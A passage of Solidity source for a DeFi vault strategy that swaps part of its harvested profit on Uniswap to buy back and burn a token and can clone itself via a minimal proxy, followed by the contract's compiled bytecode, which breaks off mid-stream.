(uint256) { return ERC20(address(want)).balanceOf(address(this)); } function _balanceOnUnderlyingVault() internal view returns (uint256) { return underlyingVault .balanceOf(address(this)) .mul(underlyingVault.pricePerShare()) .div(10**underlyingVault.decimals()); } function ethToWant(uint256 _amount) internal view returns (uint256) { if (_amount == 0) { return 0; } address[] memory path = new address[](2); path[0] = address(weth); path[1] = address(want); uint256[] memory amounts = IUniswapRouter(uniswapRouterV2).getAmountsOut(_amount, path); return amounts[amounts.length - 1]; } function prepareReturn(uint256 _debtOutstanding) internal override returns ( uint256 _profit, uint256 _loss, uint256 _debtPayment ) { // TODO: Do stuff here to free up any returns back into `want` // NOTE: Return `_profit` which is value generated by all positions, priced in `want` // NOTE: Should try to free up at least `_debtOutstanding` of underlying position uint256 debt = vault.strategies(address(this)).totalDebt; uint256 currentValue = estimatedTotalAssets(); uint256 wantBalance = _balanceOfWant(); // Calculate total profit w/o farming if (debt < currentValue) { _profit = currentValue.sub(debt); } else { _loss = debt.sub(currentValue); } // To withdraw = profit from lending + _debtOutstanding uint256 toFree = _debtOutstanding.add(_profit); // In the case want is not enough, divest from idle if (toFree > wantBalance) { // Divest only the missing part = toFree-wantBalance toFree = toFree.sub(wantBalance); (uint256 _liquidatedAmount, ) = liquidatePosition(toFree); // loss in the case freedAmount less to be freed uint256 withdrawalLoss = _liquidatedAmount < toFree ? toFree.sub(_liquidatedAmount) : 0; // profit recalc if (withdrawalLoss < _profit) { _profit = _profit.sub(withdrawalLoss); } else { _loss = _loss.add(withdrawalLoss.sub(_profit)); _profit = 0; } } if (_profit > 0) { ERC20Burnable assetToken = ERC20Burnable(asset); uint256 currentTotalSupply = assetToken.totalSupply(); uint256 targetAssetToBurn = currentTotalSupply > targetSupply ? currentTotalSupply.sub(targetSupply) : 0; // supply <= targetSupply nothing to burn if (targetAssetToBurn > 0) { // Check we have sufficient liquidity IUniswapV2Factory factory = IUniswapV2Factory(uniswapFactory); address pair = factory.getPair( _path[_path.length - 2], _path[_path.length - 1] ); require(pair != address(0), "Pair must exist to swap"); // Buy at most to empty the pool uint256 pairAssetBalance = assetToken.balanceOf(pair); targetAssetToBurn = Math.min( pairAssetBalance > 0 ? pairAssetBalance.mul(50).div(100) : 0, targetAssetToBurn ); } if (targetAssetToBurn > 0) { uint256 profitToConvert = _profit.mul(burningProfitRatio).div(MAX_BPS); IUniswapRouter router = IUniswapRouter(uniswapRouterV2); uint256 expectedProfitToUse = (router.getAmountsIn(targetAssetToBurn, _path))[0]; // In the case profitToConvert > expected to use for burning target asset use the latter // On the contrary use profitToConvert uint256 exchangedAmount = ( router.swapExactTokensForTokens( Math.min(profitToConvert, expectedProfitToUse), 1, _path, address(this), now.add(1800) ) )[0]; // TOBE CHECKED leverage uniswap returns want amount _profit = _profit.sub(exchangedAmount); // burn assetToken.burn(assetToken.balanceOf(address(this))); } } // Recalculate profit wantBalance = want.balanceOf(address(this)); if (wantBalance < _profit) { _profit = wantBalance; _debtPayment = 0; } else if (wantBalance < _debtOutstanding.add(_profit)) { _debtPayment = wantBalance.sub(_profit); } else { _debtPayment = _debtOutstanding; } } function adjustPosition(uint256 _debtOutstanding) internal override { // TODO: Do something to invest excess `want` tokens (from the Vault) into your positions // NOTE: Try to adjust positions so that `_debtOutstanding` can be freed up on *next* harvest (not immediately) //emergency exit is dealt with in prepareReturn if (emergencyExit) { return; } uint256 balanceOfWant = _balanceOfWant(); if (balanceOfWant > _debtOutstanding) { underlyingVault.deposit(balanceOfWant.sub(_debtOutstanding)); } } function liquidatePosition(uint256 _amountNeeded) internal override returns (uint256 _liquidatedAmount, uint256 _loss) { // TODO: Do stuff here to free up to `_amountNeeded` from all positions back into `want` uint256 balanceOfWant = _balanceOfWant(); if (balanceOfWant < _amountNeeded) { uint256 amountToRedeem = _amountNeeded.sub(balanceOfWant); uint256 valueToRedeemApprox = amountToRedeem.mul(10**underlyingVault.decimals()).div( underlyingVault.pricePerShare() ); uint256 valueToRedeem = Math.min( valueToRedeemApprox, underlyingVault.balanceOf(address(this)) ); underlyingVault.withdraw(valueToRedeem); } // _liquidatedAmount min(_amountNeeded, balanceOfWant), otw vault accounting breaks balanceOfWant = _balanceOfWant(); if (balanceOfWant >= _amountNeeded) { _liquidatedAmount = _amountNeeded; } else { _liquidatedAmount = balanceOfWant; _loss = _amountNeeded.sub(balanceOfWant); } } // NOTE: Can override `tendTrigger` and `harvestTrigger` if necessary function harvestTrigger(uint256 callCost) public view override returns (bool) { return super.harvestTrigger(ethToWant(callCost)); } function prepareMigration(address _newStrategy) internal override { // TODO: Transfer any non-`want` tokens to the new strategy // NOTE: `migrate` will automatically forward all `want` in this strategy to the new one underlyingVault.withdraw(); ERC20 assetToken = ERC20(asset); assetToken.safeTransfer( _newStrategy, assetToken.balanceOf(address(this)) ); } // Override this to add all tokens/tokenized positions this contract manages // on a *persistent* basis (e.g. not just for swapping back to want ephemerally) // NOTE: Do *not* include `want`, already included in `sweep` below // // Example: // // function protectedTokens() internal override view returns (address[] memory) { // address[] memory protected = new address[](3); // protected[0] = tokenA; // protected[1] = tokenB; // protected[2] = tokenC; // return protected; // } function protectedTokens() internal view override returns (address[] memory) { address[] memory protected = new address[](1); protected[0] = asset; return protected; } function setBurningProfitRatio(uint256 _burningProfitRatio) external onlyGovernanceOrManagement { require( _burningProfitRatio <= MAX_BPS, "Burning profit ratio should be less than 10000" ); burningProfitRatio = _burningProfitRatio; } function setTargetSupply(uint256 _targetSuplly) external onlyGovernanceOrManagement { targetSupply = _targetSuplly; } function clone( address _vault, address _onBehalfOf, address _underlyingVault, address _asset, address _weth, address _uniswapRouterV2, address _uniswapFactory ) external returns (address newStrategy) { // Copied from https://github.com/optionality/clone-factory/blob/master/contracts/CloneFactory.sol bytes20 addressBytes = bytes20(address(this)); assembly { // EIP-1167 bytecode let clone_code := mload(0x40) mstore( clone_code, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000 ) mstore(add(clone_code, 0x14), addressBytes) mstore( add(clone_code, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000 ) newStrategy := create(0, clone_code, 0x37) } AssetBurnStrategy(newStrategy).init( _vault, _onBehalfOf, _underlyingVault, _asset, _weth, _uniswapRouterV2, _uniswapFactory ); emit Cloned(newStrategy); } }
0x608060405234801561001057600080fd5b506004361061028a5760003560e01c80638124b78e1161015c578063c26af9d8116100ce578063efbb5cb011610087578063efbb5cb0146104c9578063f017c92f146104d1578063f0d4d592146104e4578063f8c8765e146104f7578063fbfa77cf1461050a578063fcf2d0ad146105125761028a565b8063c26af9d814610462578063c7b9d5301461046a578063ce5494bb1461047d578063d051184214610490578063ec38a862146104a3578063ed882c2b146104b65761028a565b806395e80c501161012057806395e80c501461041c578063960ea8b5146104245780639ec5a8941461042c578063a38b019514610434578063aced166114610447578063bbca6b821461044f5761028a565b80638124b78e146103de5780638bdb2afa146103f15780638cdfe166146103f95780638e6350e21461040157806391397ab4146104095761028a565b80632e1a7d4d1161020057806346db8a7c116101b957806346db8a7c146103825780635641ec0314610395578063596fa9e31461039d578063650d1880146103a5578063748747e6146103b8578063750521f5146103cb5761028a565b80632e1a7d4d1461033c57806338d52e0f1461034f57806339a172a8146103575780633fc8cef31461036a578063440368a3146103725780634641257d1461037a5761028a565b80631f1fcd51116102525780631f1fcd51146102f25780631fe4a6861461030757806322f3e2d41461030f578063258294101461032457806328b7ccf71461032c5780632a1eafd9146103345761028a565b806301681a621461028f57806303ee438c146102a457806306fdde03146102c25780630f969b87146102ca5780631d12f28b146102dd575b600080fd5b6102a261029d366004613992565b61051a565b005b6102ac6106b9565b6040516102b99190613e98565b60405180910390f35b6102ac610747565b6102a26102d8366004613ce6565b6107ec565b6102e5610879565b6040516102b99190614201565b6102fa61087f565b6040516102b99190613dab565b6102fa61088e565b61031761089d565b6040516102b99190613e5e565b6102ac61093f565b6102e561095e565b6102e5610964565b6102e561034a366004613ce6565b61096a565b6102fa6109c5565b6102a2610365366004613ce6565b6109d4565b6102fa610a56565b6102a2610a65565b6102a2610c8e565b6102a2610390366004613ce6565b610ff8565b6103176110d6565b6102fa6110df565b6103176103b3366004613ce6565b6110ee565b6102a26103c6366004613992565b6110f6565b6102a26103d9366004613b6f565b6111a1565b6102fa6103ec366004613992565b611238565b6102fa6112bc565b6102e56112cb565b6102e56112d1565b6102a2610417366004613ce6565b611379565b6102e56113fb565b6102e5611401565b6102fa611407565b6102fa610442366004613a25565b611416565b6102fa61150c565b6102a261045d366004613ce6565b61151b565b6102fa61161b565b6102a2610478366004613992565b61162f565b6102a261048b366004613992565b6116da565b6102fa61049e3660046139ca565b61184b565b6102a26104b1366004613992565b611938565b6103176104c4366004613ce6565b611acf565b6102e5611ae2565b6102a26104df366004613ce6565b611afd565b6102a26104f2366004613a25565b611b7f565b6102a26105053660046139ca565b611ba1565b6102fa611bb3565b6102a2611bc2565b610522611dbc565b6001600160a01b0316336001600160a01b03161461055b5760405162461bcd60e51b815260040161055290614118565b60405180910390fd5b6005546001600160a01b03828116911614156105895760405162461bcd60e51b815260040161055290613ef0565b6001546001600160a01b03828116911614156105b75760405162461bcd60e51b81526004016105529061403b565b60606105c1611e39565b905060005b815181101561061c578181815181106105db57fe5b60200260200101516001600160a01b0316836001600160a01b031614156106145760405162461bcd60e51b815260040161055290614187565b6001016105c6565b506106b5610628611dbc565b6040516370a0823160e01b81526001600160a01b038516906370a0823190610654903090600401613dab565b60206040518083038186803b15801561066c57600080fd5b505afa158015610680573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a49190613cfe565b6001600160a01b0385169190611e95565b5050565b6000805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561073f5780601f106107145761010080835404028352916020019161073f565b820191906000526020600020905b81548152906001019060200180831161072257829003601f168201915b505050505081565b600554604080516395d89b4160e01b815290516060926001600160a01b0316916395d89b41916004808301926000929190829003018186803b15801561078c57600080fd5b505afa1580156107a0573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526107c89190810190613bdc565b6040516020016107d89190613d78565b604051602081830303815290604052905090565b6002546001600160a01b031633148061081d5750610808611dbc565b6001600160a01b0316336001600160a01b0316145b6108395760405162461bcd60e51b815260040161055290614118565b60098190556040517fa68ba126373d04c004c5748c300c9fca12bd444b3d4332e261f3bd2bac4a86009061086e908390614201565b60405180910390a150565b60095481565b6005546001600160a01b031681565b6002546001600160a01b031681565b6001546040516339ebf82360e01b815260009182916001600160a01b03909116906339ebf823906108d2903090600401613dab565b6101206040518083038186803b1580156108eb57600080fd5b505afa1580156108ff573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109239190613c68565b60400151118061093a57506000610938611ae2565b115b905090565b604080518082019091526005815264302e332e3560d81b602082015290565b60075481565b60115481565b6001546000906001600160a01b031633146109975760405162461bcd60e51b81526004016105529061401b565b60006109a283611eb4565b6005549093509091506109bf906001600160a01b03163383611e95565b50919050565b600b546001600160a01b031681565b6002546001600160a01b0316331480610a0557506109f0611dbc565b6001600160a01b0316336001600160a01b0316145b610a215760405162461bcd60e51b815260040161055290614118565b60068190556040517fbb2c369a0355a34b02ab5fce0643150c87e1c8dfe7c918d465591879f57948b19061086e908390614201565b600c546001600160a01b031681565b6004546001600160a01b0316331480610a8857506002546001600160a01b031633145b80610aab5750610a96611dbc565b6001600160a01b0316336001600160a01b0316145b80610b4c5750600160009054906101000a90046001600160a01b03166001600160a01b031663452a93206040518163ffffffff1660e01b815260040160206040518083038186803b158015610aff57600080fd5b505afa158015610b13573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b3791906139ae565b6001600160a01b0316336001600160a01b0316145b80610bed5750600160009054906101000a90046001600160a01b03166001600160a01b03166388a8d6026040518163ffffffff1660e01b815260040160206040518083038186803b158015610ba057600080fd5b505afa158015610bb4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bd891906139ae565b6001600160a01b0316336001600160a01b0316145b610c095760405162461bcd60e51b815260040161055290614118565b6001546040805163bf3759b560e01b81529051610c8c926001600160a01b03169163bf3759b5916004808301926020929190829003018186803b158015610c4f57600080fd5b505afa158015610c63573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c879190613cfe565b612152565b565b6004546001600160a01b0316331480610cb157506002546001600160a01b031633145b80610cd45750610cbf611dbc565b6001600160a01b0316336001600160a01b0316145b80610d755750600160009054906101000a90046001600160a01b03166001600160a01b031663452a93206040518163ffffffff1660e01b815260040160206040518083038186803b158015610d2857600080fd5b505afa158015610d3c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6091906139ae565b6001600160a01b0316336001600160a01b0316145b80610e165750600160009054906101000a90046001600160a01b03166001600160a01b03166388a8d6026040518163ffffffff1660e01b815260040160206040518083038186803b158015610dc957600080fd5b505afa158015610ddd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0191906139ae565b6001600160a01b0316336001600160a01b0316145b610e325760405162461bcd60e51b815260040161055290614118565b6000806000600160009054906101000a90046001600160a01b03166001600160a01b031663bf3759b56040518163ffffffff1660e01b815260040160206040518083038186803b158015610e8557600080fd5b505afa158015610e99573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ebd9190613cfe565b600a5490915060009060ff1615610f13576000610ed8611ae2565b9050610ef1838211610eea5783610eec565b815b611eb4565b9450915082821115610f0d57610f078284612204565b94508291505b50610f24565b610f1c8261224d565b919550935090505b6001546040516328766ebf60e21b81526001600160a01b039091169063a1d9bafc90610f58908790879086906004016142b5565b602060405180830381600087803b158015610f7257600080fd5b505af1158015610f86573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610faa9190613cfe565b9150610fb582612152565b7f4c0f499ffe6befa0ca7c826b0916cf87bea98de658013e76938489368d60d50984848385604051610fea94939291906142cb565b60405180910390a150505050565b611000611dbc565b6001600160a01b0316336001600160a01b031614806110b55750600160009054906101000a90046001600160a01b03166001600160a01b03166388a8d6026040518163ffffffff1660e01b815260040160206040518083038186803b15801561106857600080fd5b505afa15801561107c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a091906139ae565b6001600160a01b0316336001600160a01b0316145b6110d15760405162461bcd60e51b815260040161055290614118565b601155565b600a5460ff1681565b600d546001600160a01b031681565b60005b919050565b6002546001600160a01b03163314806111275750611112611dbc565b6001600160a01b0316336001600160a01b0316145b6111435760405162461bcd60e51b815260040161055290614118565b6001600160a01b03811661115657600080fd5b600480546001600160a01b0319166001600160a01b0383161790556040517f2f202ddb4a2e345f6323ed90f8fc8559d770a7abbbeee84dde8aca3351fe71549061086e908390613dab565b6002546001600160a01b03163314806111d257506111bd611dbc565b6001600160a01b0316336001600160a01b0316145b6111ee5760405162461bcd60e51b815260040161055290614118565b6111fa60008383613833565b507f300e67d5a415b6d015a471d9c7b95dd58f3e8290af965e84e0f845de2996dda6828260405161122c929190613e69565b60405180910390a15050565b6040516368288c2160e11b8152600090309063d051184290611264908590339081908190600401613dd9565b602060405180830381600087803b15801561127e57600080fd5b505af1158015611292573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112b691906139ae565b92915050565b600e546001600160a01b031681565b60085481565b60006112db6138b1565b6001546040516339ebf82360e01b81526001600160a01b03909116906339ebf8239061130b903090600401613dab565b6101206040518083038186803b15801561132457600080fd5b505afa158015611338573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061135c9190613c68565b90506113738160c0015161136e61293b565b612adc565b91505090565b6002546001600160a01b03163314806113aa5750611395611dbc565b6001600160a01b0316336001600160a01b0316145b6113c65760405162461bcd60e51b815260040161055290614118565b60088190556040517fd94596337df4c2f0f44d30a7fc5db1c7bb60d9aca4185ed77c6fd96eb45ec2989061086e908390614201565b60065481565b60105481565b6003546001600160a01b031681565b604051733d602d80600a3d3981f3363d3d373d3d3d363d7360601b81523060601b601482018190526e5af43d82803e903d91602b57fd5bf360881b602883015260009160378184f060405163786a6ac960e11b81529093506001600160a01b038416915063f0d4d5929061149a908c908c908c908c908c908c908c90600401613e04565b600060405180830381600087803b1580156114b457600080fd5b505af11580156114c8573d6000803e3d6000fd5b50506040516001600160a01b03851692507f783540fb4221a3238720dc7038937d0d79982bcf895274aa6ad179f82cf0d53c9150600090a250979650505050505050565b6004546001600160a01b031681565b611523611dbc565b6001600160a01b0316336001600160a01b031614806115d85750600160009054906101000a90046001600160a01b03166001600160a01b03166388a8d6026040518163ffffffff1660e01b815260040160206040518083038186803b15801561158b57600080fd5b505afa15801561159f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115c391906139ae565b6001600160a01b0316336001600160a01b0316145b6115f45760405162461bcd60e51b815260040161055290614118565b6127108111156116165760405162461bcd60e51b81526004016105529061405c565b601055565b600a5461010090046001600160a01b031681565b6002546001600160a01b0316331480611660575061164b611dbc565b6001600160a01b0316336001600160a01b0316145b61167c5760405162461bcd60e51b815260040161055290614118565b6001600160a01b03811661168f57600080fd5b600280546001600160a01b0319166001600160a01b0383161790556040517f352ececae6d7d1e6d26bcf2c549dfd55be1637e9b22dc0cf3b71ddb36097a6b49061086e908390613dab565b6001546001600160a01b031633148061170b57506116f6611dbc565b6001600160a01b0316336001600160a01b0316145b61171457600080fd5b6001546040805163fbfa77cf60e01b815290516001600160a01b039283169284169163fbfa77cf916004808301926020929190829003018186803b15801561175b57600080fd5b505afa15801561176f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061179391906139ae565b6001600160a01b0316146117a657600080fd5b6117af81612af2565b6005546040516370a0823160e01b81526118489183916001600160a01b03909116906370a08231906117e5903090600401613dab565b60206040518083038186803b1580156117fd57600080fd5b505afa158015611811573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118359190613cfe565b6005546001600160a01b03169190611e95565b50565b604051733d602d80600a3d3981f3363d3d373d3d3d363d7360601b81523060601b601482018190526e5af43d82803e903d91602b57fd5bf360881b602883015260009160378184f0604051637c643b2f60e11b81529093506001600160a01b038416915063f8c8765e906118c9908990899089908990600401613dd9565b600060405180830381600087803b1580156118e357600080fd5b505af11580156118f7573d6000803e3d6000fd5b50506040516001600160a01b03851692507f783540fb4221a3238720dc7038937d0d79982bcf895274aa6ad179f82cf0d53c9150600090a250949350505050565b6002546001600160a01b031633146119625760405162461bcd60e51b815260040161055290613ecb565b6001600160a01b03811661197557600080fd5b60015460035460405163095ea7b360e01b81526001600160a01b039283169263095ea7b3926119ac92911690600090600401613e45565b602060405180830381600087803b1580156119c657600080fd5b505af11580156119da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119fe9190613b4f565b50600380546001600160a01b0319166001600160a01b03838116919091179182905560015460405163095ea7b360e01b81529082169263095ea7b392611a4d9291169060001990600401613e45565b602060405180830381600087803b158015611a6757600080fd5b505af1158015611a7b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a9f9190613b4f565b507fafbb66abf8f3b719799940473a4052a3717cdd8e40fb6c8a3faadab316b1a0698160405161086e9190613dab565b60006112b6611add83612c14565b612d43565b600061093a611aef61293b565b611af7612fbb565b9061303c565b6002546001600160a01b0316331480611b2e5750611b19611dbc565b6001600160a01b0316336001600160a01b0316145b611b4a5760405162461bcd60e51b815260040161055290614118565b60078190556040517f5430e11864ad7aa9775b07d12657fe52df9aa2ba734355bd8ef8747be2c800c59061086e908390614201565b611b8b87878889613061565b611b988585858585613222565b50505050505050565b611bad84848484613061565b50505050565b6001546001600160a01b031681565b6002546001600160a01b0316331480611bf35750611bde611dbc565b6001600160a01b0316336001600160a01b0316145b611c0f5760405162461bcd60e51b815260040161055290614118565b600a805460ff19166001908117909155546040805163507257cd60e11b815290516001600160a01b039092169163a0e4af9a9160048082019260009290919082900301818387803b158015611c6357600080fd5b505af1158015611c77573d6000803e3d6000fd5b50506040517f97e963041e952738788b9d4871d854d282065b8f90a464928d6528f2e9a4fd0b925060009150a1565b801580611d2e5750604051636eb1769f60e11b81526001600160a01b0384169063dd62ed3e90611cdc9030908690600401613dbf565b60206040518083038186803b158015611cf457600080fd5b505afa158015611d08573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d2c9190613cfe565b155b611d4a5760405162461bcd60e51b8152600401610552906141ab565b611da08363095ea7b360e01b8484604051602401611d69929190613e45565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b0319909316929092179091526135c8565b505050565b6060611db48484600085613657565b949350505050565b60015460408051635aa6e67560e01b815290516000926001600160a01b031691635aa6e675916004808301926020929190829003018186803b158015611e0157600080fd5b505afa158015611e15573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061093a91906139ae565b604080516001808252818301909252606091829190602080830190803683375050600b5482519293506001600160a01b031691839150600090611e7857fe5b6001600160a01b0390921660209283029190910190910152905090565b611da08363a9059cbb60e01b8484604051602401611d69929190613e45565b6000806000611ec1612fbb565b905083811015612123576000611ed78583612204565b90506000611ffd600a60019054906101000a90046001600160a01b03166001600160a01b03166399530b066040518163ffffffff1660e01b815260040160206040518083038186803b158015611f2c57600080fd5b505afa158015611f40573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f649190613cfe565b611ff7600a60019054906101000a90046001600160a01b03166001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b158015611fb557600080fd5b505afa158015611fc9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fed9190613cfe565b8590600a0a61371b565b90613755565b9050600061209682600a60019054906101000a90046001600160a01b03166001600160a01b03166370a08231306040518263ffffffff1660e01b81526004016120469190613dab565b60206040518083038186803b15801561205e57600080fd5b505afa158015612072573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061136e9190613cfe565b600a54604051632e1a7d4d60e01b815291925061010090046001600160a01b031690632e1a7d4d906120cc908490600401614201565b602060405180830381600087803b1580156120e657600080fd5b505af11580156120fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061211e9190613cfe565b505050505b61212b612fbb565b905083811061213c5783925061214c565b9150816121498482612204565b91505b50915091565b600a5460ff161561216257611848565b600061216c612fbb565b9050818111156106b557600a5461010090046001600160a01b031663b6b55f256121968385612204565b6040518263ffffffff1660e01b81526004016121b29190614201565b602060405180830381600087803b1580156121cc57600080fd5b505af11580156121e0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611da09190613cfe565b600061224683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613797565b9392505050565b6001546040516339ebf82360e01b81526000918291829182916001600160a01b03909116906339ebf82390612286903090600401613dab565b6101206040518083038186803b15801561229f57600080fd5b505afa1580156122b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122d79190613c68565b60c00151905060006122e7611ae2565b905060006122f3612fbb565b90508183101561230e576123078284612204565b955061231b565b6123188383612204565b94505b6000612327888861303c565b90508181111561239e5761233b8183612204565b9050600061234882611eb4565b509050600082821061235b576000612365565b6123658383612204565b905088811015612380576123798982612204565b985061239b565b61239461238d828b612204565b899061303c565b9750600098505b50505b861561287457600b54604080516318160ddd60e01b815290516001600160a01b039092169160009183916318160ddd91600480820192602092909190829003018186803b1580156123ee57600080fd5b505afa158015612402573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124269190613cfe565b90506000601154821161243a576000612448565b601154612448908390612204565b9050801561260557600e54600f80546001600160a01b0390921691600091839163e6a439059190600119810190811061247d57fe5b600091825260209091200154600f80546001600160a01b039092169160001981019081106124a757fe5b6000918252602090912001546040516001600160e01b031960e085901b1681526124de92916001600160a01b031690600401613dbf565b60206040518083038186803b1580156124f657600080fd5b505afa15801561250a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061252e91906139ae565b90506001600160a01b0381166125565760405162461bcd60e51b8152600401610552906140aa565b6040516370a0823160e01b81526000906001600160a01b038716906370a0823190612585908590600401613dab565b60206040518083038186803b15801561259d57600080fd5b505afa1580156125b1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125d59190613cfe565b90506125ff600082116125e95760006125f9565b6125f96064611ff784603261371b565b85612adc565b93505050505b8015612870576000612628612710611ff76010548e61371b90919063ffffffff16565b600d546040516307c0329d60e21b81529192506001600160a01b0316906000908290631f00ca7490612661908790600f90600401614260565b60006040518083038186803b15801561267957600080fd5b505afa15801561268d573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526126b59190810190613aba565b6000815181106126c157fe5b602002602001015190506000826001600160a01b03166338ed17396126e68685612adc565b6001600f306126f74261070861303c565b6040518663ffffffff1660e01b8152600401612717959493929190614279565b600060405180830381600087803b15801561273157600080fd5b505af1158015612745573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261276d9190810190613aba565b60008151811061277957fe5b60200260200101519050612796818f61220490919063ffffffff16565b6040516370a0823160e01b8152909e506001600160a01b038816906342966c689082906370a08231906127cd903090600401613dab565b60206040518083038186803b1580156127e557600080fd5b505afa1580156127f9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061281d9190613cfe565b6040518263ffffffff1660e01b81526004016128399190614201565b600060405180830381600087803b15801561285357600080fd5b505af1158015612867573d6000803e3d6000fd5b50505050505050505b5050505b6005546040516370a0823160e01b81526001600160a01b03909116906370a08231906128a4903090600401613dab565b60206040518083038186803b1580156128bc57600080fd5b505afa1580156128d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128f49190613cfe565b91508682101561290a5781965060009450612930565b612914888861303c565b82101561292c576129258288612204565b9450612930565b8794505b505050509193909250565b600061093a600a60019054906101000a90046001600160a01b03166001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561298e57600080fd5b505afa1580156129a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906129c69190613cfe565b600a0a611ff7600a60019054906101000a90046001600160a01b03166001600160a01b03166399530b066040518163ffffffff1660e01b815260040160206040518083038186803b158015612a1a57600080fd5b505afa158015612a2e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612a529190613cfe565b600a546040516370a0823160e01b81526101009091046001600160a01b0316906370a0823190612a86903090600401613dab565b60206040518083038186803b158015612a9e57600080fd5b505afa158015612ab2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612ad69190613cfe565b9061371b565b6000818310612aeb5781612246565b5090919050565b600a60019054906101000a90046001600160a01b03166001600160a01b0316633ccfd60b6040518163ffffffff1660e01b8152600401602060405180830381600087803b158015612b4257600080fd5b505af1158015612b56573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612b7a9190613cfe565b50600b546040516370a0823160e01b81526001600160a01b03909116906106b590839083906370a0823190612bb3903090600401613dab565b60206040518083038186803b158015612bcb57600080fd5b505afa158015612bdf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612c039190613cfe565b6001600160a01b0384169190611e95565b600081612c23575060006110f1565b60408051600280825260608083018452926020830190803683375050600c5482519293506001600160a01b031691839150600090612c5d57fe5b6001600160a01b039283166020918202929092010152600554825191169082906001908110612c8857fe5b6001600160a01b039283166020918202929092010152600d5460405163d06ca61f60e01b8152606092919091169063d06ca61f90612ccc908790869060040161420a565b60006040518083038186803b158015612ce457600080fd5b505afa158015612cf8573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052612d209190810190613aba565b905080600182510381518110612d3257fe5b602002602001015192505050919050565b6000612d4d6138b1565b6001546040516339ebf82360e01b81526001600160a01b03909116906339ebf82390612d7d903090600401613dab565b6101206040518083038186803b158015612d9657600080fd5b505afa158015612daa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612dce9190613c68565b9050806020015160001415612de75760009150506110f1565b60065460a0820151612dfa904290612204565b1015612e0a5760009150506110f1565b60075460a0820151612e1d904290612204565b10612e2c5760019150506110f1565b6001546040805163bf3759b560e01b815290516000926001600160a01b03169163bf3759b5916004808301926020929190829003018186803b158015612e7157600080fd5b505afa158015612e85573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612ea99190613cfe565b9050600954811115612ec0576001925050506110f1565b6000612eca611ae2565b90508260c00151612ee66009548361303c90919063ffffffff16565b1015612ef857600193505050506110f1565b60008360c00151821115612f195760c0840151612f16908390612204565b90505b6001546040805163112c1f9b60e01b815290516000926001600160a01b03169163112c1f9b916004808301926020929190829003018186803b158015612f5e57600080fd5b505afa158015612f72573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612f969190613cfe565b9050612fa2818361303c565b600854612faf908961371b565b10979650505050505050565b6005546040516370a0823160e01b81526000916001600160a01b0316906370a0823190612fec903090600401613dab565b60206040518083038186803b15801561300457600080fd5b505afa158015613018573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061093a9190613cfe565b6000828201838110156122465760405162461bcd60e51b815260040161055290613f0f565b6005546001600160a01b03161561308a5760405162461bcd60e51b815260040161055290613f46565b600180546001600160a01b0319166001600160a01b03868116919091179182905560408051637e062a3560e11b81529051929091169163fc0c546a91600480820192602092909190829003018186803b1580156130e657600080fd5b505afa1580156130fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061311e91906139ae565b600580546001600160a01b0319166001600160a01b03928316179081905561314a911685600019611ca6565b600280546001600160a01b038086166001600160a01b0319928316179092556003805485841690831617908190556004805485851693169290921782556000600681905562015180600755606460085560095560015460405163095ea7b360e01b81529084169363095ea7b3936131c993909116916000199101613e45565b602060405180830381600087803b1580156131e357600080fd5b505af11580156131f7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061321b9190613b4f565b5050505050565b846001600160a01b031663fc0c546a6040518163ffffffff1660e01b81526004016020604051808303